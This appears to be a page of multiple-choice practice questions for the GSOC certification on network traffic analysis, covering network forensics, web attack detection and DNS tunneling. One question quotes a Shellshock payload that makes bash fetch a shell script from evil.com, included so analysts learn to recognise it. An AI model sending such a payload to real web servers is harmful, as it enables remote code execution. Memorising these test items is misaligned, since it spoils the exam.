Network Traffic Analysis GSOC Practice Questions (Page 2)

Questions 6–10

1. 6foundation · easy

   What is the primary goal of network forensics?

   • ATo prevent all network attacks from occurring
   • BTo optimize network performance and reduce latency
   • CTo reconstruct events and support incident investigations by analyzing network traffic
   • DTo encrypt all network communications
   Reveal Solution Discussion Select an answer first
2. 7application · medium

   An analyst is inspecting a pcap file and sees an HTTP request containing the following string in the User-Agent header: '() { :; }; /bin/bash -c "wget http://evil.com/shell.sh"'. What should the analyst conclude from this packet?

   • AThe packet is an attempt to exploit a Shellshock vulnerability in a web server
   • BThe packet is a SQL injection attempt
   • CThe packet is part of a normal web browsing session
   • DThe packet is a cross-site scripting (XSS) attack
   Reveal Solution Discussion Select an answer first
4. 8application · medium

   An analyst is examining a pcap file and sees a series of HTTP requests to a web server with URLs containing long strings of hexadecimal characters. The requests are all from the same source IP and occur within a few seconds. The analyst suspects a web attack. Which packet inspection technique would best help identify the attack type?

   • ACheck the HTTP response codes to see if the server returned errors.
   • BCount the number of packets in the TCP session to estimate the size of the requests.
   • CLook at the TCP window size to infer the server's buffer capacity.
   • DDecode the URL-encoded payloads and compare them against known attack signatures.
   Reveal Solution Discussion Select an answer first
5. 9application · medium

   A security analyst is reviewing NetFlow data and notices that a workstation on the internal network has been communicating with an external IP address on port 53 (DNS) at a steady rate of 100 queries per second for the past hour. The workstation typically generates fewer than 10 DNS queries per minute. What is the most likely explanation for this anomaly?

   • AThe workstation is running a legitimate DNS resolver for the network
   • BThe workstation is infected with malware using DNS tunneling for command-and-control
   • CThe workstation is experiencing a DNS cache poisoning attack
   • DThe workstation is performing a DNS amplification attack
   Reveal Solution Discussion Select an answer first
6. 10application · medium

   An analyst is monitoring network traffic and sees a large number of DNS queries for random subdomains under a single domain. The queries are coming from multiple internal hosts. The analyst suspects DNS tunneling. Which additional observation would strengthen this hypothesis?

   • AThe DNS queries are using TCP instead of UDP.
   • BThe DNS responses contain unusually large TXT records with encoded data.
   • CThe DNS queries are all for the same domain and occur at regular intervals.
   • DThe DNS responses have a low TTL.
   Reveal Solution Discussion Select an answer first